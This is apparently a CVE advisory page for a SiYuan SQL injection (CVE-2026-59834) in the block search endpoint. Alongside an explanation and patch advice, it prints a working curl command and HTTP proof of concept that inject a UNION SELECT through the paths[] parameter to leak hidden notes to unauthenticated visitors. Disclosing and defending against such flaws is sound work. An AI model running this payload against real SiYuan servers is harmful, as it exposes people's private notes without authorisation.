SiYuan (siyuan-note), SQL Injection, CVE-2026-59834 (High) -DC-Sep2026-2086

Listen to this Post

SiYuan is an open-source personal knowledge management system. Prior to version 3.7.1, the block search endpoint `POST /api/search/fullTextSearchBlock` concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through SiYuan’s publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach the endpoint.
The API blocks explicit SQL search mode (method == 2) for non-admin users, but allows other search methods to use caller-controlled paths. The `paths[]` parameter is parsed into notebook IDs and paths without SQL escaping or validation. These values are then concatenated directly into SQL: `builder.WriteString(fmt.Sprintf(“box = ‘%s'”, box))` and builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path)). Regexp search executes the resulting statement.
An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and path. The read-only publish filter runs after SQL execution and trusts the returned row’s `Box` and Path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor. The attack can be initiated remotely without any form of authentication. The vulnerability is classified as CWE-89 (SQL Injection).

DailyCVE Form:

Platform: Siyuan (siyuan-note)
Version: <= 3.7.0
Vulnerability: SQL Injection (CWE-89)
Severity: High (CVSS 7.0)
date: 2026-07-10

Prediction: 2026-07-14 (Fixed in v3.7.1)

What Undercode Say:

Check SiYuan version
./siyuan --version
Check if publish service is enabled
curl -s http://<publish-service-host>/api/system/version | jq '.data.publish'
Exploit request (Educational Purposes!)
Replace VISIBLE_NOTEBOOK_ID, VISIBLE_DOC.sy, and HIDDEN_DOC.sy with actual values
curl -X POST http://<publish-service-host>/api/search/fullTextSearchBlock \
-H "Content-Type: application/json" \
-d '{
"query": "SECRET-LIVE-SQLI-20260609",
"method": 3,
"page": 1,
"pageSize": 10,
"paths": [
"VISIBLE_NOTEBOOK_ID/x%'\'') UNION SELECT id,parent_id,root_id,hash,'\''VISIBLE_NOTEBOOK_ID'\'','\''/VISIBLE_DOC.sy'\'',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='\''/HIDDEN_DOC.sy'\'' -- "
]
}' | jq '.data.blocks[] | {box, path, content}'

Exploit: (Educational Purposes!)

The exploit works by injecting a `UNION SELECT` statement into the `paths[]` parameter. The injected SQL selects content from a hidden document while projecting a visible document’s `box` and path. The post-query publish filter only checks the projected visible path, allowing the hidden content to be returned.

Proof of Concept:

POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json
{
"query": "SECRET-LIVE-SQLI-20260609",
"method": 3,
"page": 1,
"pageSize": 10,
"paths": [
"VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
]
}

Protection:

  • Upgrade to SiYuan version 3.7.1 or later
  • Build notebook and path predicates with bound SQL parameters instead of string concatenation
  • Validate notebook IDs before query construction
  • Validate document paths against SiYuan’s normalized `.sy` path format
  • Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections
  • Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as ', ), UNION, and `–`

Impact:

An unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses SiYuan’s publish visibility controls and exposes private note content that is not available through normal published document or search requests. The vulnerability impacts confidentiality, integrity, and availability.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top